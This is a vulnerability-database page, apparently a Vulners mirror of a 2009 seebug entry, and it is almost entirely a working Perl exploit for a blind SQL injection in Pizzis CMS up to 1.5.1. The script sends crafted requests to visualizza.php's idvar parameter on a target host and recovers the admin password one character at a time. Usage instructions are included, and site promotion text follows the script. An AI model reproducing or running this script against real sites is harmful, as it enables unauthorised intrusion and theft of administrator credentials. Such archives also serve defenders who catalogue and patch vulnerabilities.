Lucene search
K

Pizzis CMS <= 1.5.1 (visualizza.php idvar) Blind SQL Injection Exploit

🗓️ 09 Jan 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Pizzis CMS <= 1.5.1 Blind SQL Injection exploi

Code

                                                --+++=============================================================+++--
--+++====== Pizzis CMS &lt;= 1.5.1 Blind SQL Injection Exploit ======+++--
--+++=============================================================+++--


#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub usage {
   die
       &quot;\n[+] Pizzis CMS &lt;= 1.5.1 Blind SQL Injection Exploit&quot;.
       &quot;\n[+] Author: darkjoker&quot;.
       &quot;\n[+] Site  : http://darkjoker.net23.net&quot;.
       &quot;\n[+] Usage : perl $0 &lt;hostname&gt; &lt;path&gt; &lt;username&gt;&quot;.
       &quot;\n[+] Ex.   : perl $0 localhost /pizziscms admin&quot;.
       &quot;\n[+] Greetz: my girlfriend, she has no idea about what is it &lt;3&quot;.
       &quot;\n\n&quot;;
}

sub query {
   my ($user, $chr, $pos) = @_;
   my $query = &quot;98765 OR ASCII(SUBSTRING((SELECT pass FROM pizziscms_admin WHERE user  = '${user}'),${pos},1))=${chr}&quot;;
   $query =~ s/ /%20/g;
   $query =~ s/'/%27/g;
   return $query;
}

sub exploit {
   my ($hostname, $path, $user, $chr, $pos) = @_;
   $chr = ord ($chr);

   my $sock = new IO::Socket::INET (
       PeerHost =&gt; $hostname,
       PeerPort =&gt; 80,
       Proto    =&gt; &quot;tcp&quot;,
   ) or die $!;

   my $query = query ($user, $chr, $pos);
   my $request = &quot;GET ${path}/visualizza.php?idvar=${query} HTTP/1.1\r\n&quot;.
             &quot;Host: ${hostname}\r\n&quot;.
             &quot;Connection: Close\r\n\r\n&quot;;

   print $sock $request;

   my $reply;
   while (&lt;$sock&gt;)
   {
       $reply .= $_;

   }
   close ($sock);

   $reply =~ s/\s/ /g;

   $reply =~ /&lt;h4&gt;(.+)\/h4&gt;/;
      if (length ($1) &gt; 1)
   {
       return 1;
   }
   else
   {
       return 0;
   }
}

if (scalar (@ARGV) != 3)
{
   usage ();
}

my ($hostname, $path, $user) = @ARGV;

my @key = split ('', 'abcdefghijklmnopqrstuvwxyz0123456789');
my $pos = 1;
my $chr = 0;

print &quot;[+] Password: &quot;;
while ($pos &lt;= 32)
{
   if (exploit ($hostname, $path, $user, $key [$chr], $pos))
   {
       print $key [$chr];
       $chr = -1;
       $pos++;
   }
   $chr++;
}

print &quot;\n&quot;;

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation